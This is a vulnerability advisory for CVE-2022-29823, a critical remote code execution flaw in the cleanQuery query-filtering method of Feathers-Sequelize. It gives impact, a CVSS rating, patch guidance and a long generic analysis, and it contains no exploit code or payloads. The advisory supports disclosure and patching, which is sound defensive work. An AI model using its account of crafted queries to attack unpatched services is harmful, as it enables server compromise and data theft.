CVE-2022-29823
Overview
The vulnerability is a remote code execution flaw rooted in insecure recursive logic within the cleanQuery method of the Feather-Sequalize component. This method improperly filters unsupported keys from query objects, allowing malicious input to bypass intended validation. The affected feature is the query filtering mechanism in the Feather-Sequalize integration for Node.js environments.
Vulnerability Description
Feather-Sequalize cleanQuery method uses insecure recursive logic to filter unsupported keys from the query object. This results in a Remote Code Execution (RCE) with privileges of application.
Impact
An unauthenticated attacker can remotely execute arbitrary code within the application context by exploiting the flawed query filtering mechanism. This requires only network access to the vulnerable Feather-Sequalize service, with no user interaction or privileges needed. Successful exploitation can lead to full compromise of the application, including data exposure, service disruption, and potential lateral movement within the environment, consistent with the CVSS vector indicating network attack with no privileges or user interaction required (AV:N/AC:L/PR:N/UI:N).
Solution
Users should apply the security update provided by the Feather-Sequalize maintainers as outlined in the DIVD advisory (DIVD-2022-00020). The fix addresses the recursive filtering logic in the cleanQuery method to properly sanitize query inputs. Administrators are advised to update to the patched version referenced in the advisory and verify that the application dependencies reflect this update. Detailed patch instructions and version information are available at https://csirt.divd.nl/DIVD-2022-00020.

Full Analysis
The vulnerability in the Feather-Sequelize framework arises from the insecure recursive logic employed in the cleanQuery method, which is responsible for filtering unsupported keys from the query object. This flawed implementation allows an attacker to manipulate the query object in such a way that it can lead to remote code execution (RCE) with the privileges of the application. The recursive nature of the filtering process fails to adequately validate or sanitize input, enabling malicious actors to inject arbitrary code into the application’s execution context. This oversight poses a significant risk, as it allows attackers to execute commands on the server, potentially leading to a complete compromise of the affected system.
Exploitation of this vulnerability can occur through various attack vectors. An attacker may craft a specially designed query that includes unsupported keys, which the cleanQuery method inadequately processes. By exploiting this flaw, the attacker can execute arbitrary code, potentially gaining unauthorized access to sensitive data or control over the application environment. Scenarios may include an attacker targeting a web application that utilizes Feather-Sequelize for database interactions, where they can send malicious queries via HTTP requests. Once the application processes these queries, the attacker can leverage the RCE to perform actions such as data exfiltration, modification of application logic, or even lateral movement within the network.
The real-world impact of this vulnerability is profound, particularly for organizations that rely on Feather-Sequelize for their backend services. The high CVSS score of 9.8 indicates a critical level of severity, suggesting that successful exploitation could lead to catastrophic consequences. Businesses may face significant financial losses due to data breaches, regulatory fines, and reputational damage. Furthermore, the ability for an attacker to execute code with application privileges could facilitate further attacks on other systems within the network, compounding the risk. The potential for widespread disruption to services and loss of customer trust underscores the urgency for organizations to address this vulnerability promptly.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including code reviews and penetration testing, can help identify insecure coding practices and vulnerabilities within the application. Additionally, employing web application firewalls (WAFs) can provide an additional layer of defense by filtering out malicious requests before they reach the application. It is also crucial for developers to adhere to secure coding guidelines, ensuring that input validation and sanitization are rigorously applied. Updating to the latest version of Feather-Sequelize, which addresses this vulnerability, is essential for maintaining a secure application environment.
In conclusion, the vulnerability in the Feather-Sequelize framework represents a significant threat to organizations utilizing this technology. The potential for remote code execution through insecure query handling highlights the need for robust security practices and proactive measures to safeguard applications. By understanding the technical details, recognizing the attack vectors, assessing the real-world impact, and implementing effective detection and mitigation strategies, organizations can better protect themselves against the risks posed by this critical vulnerability.
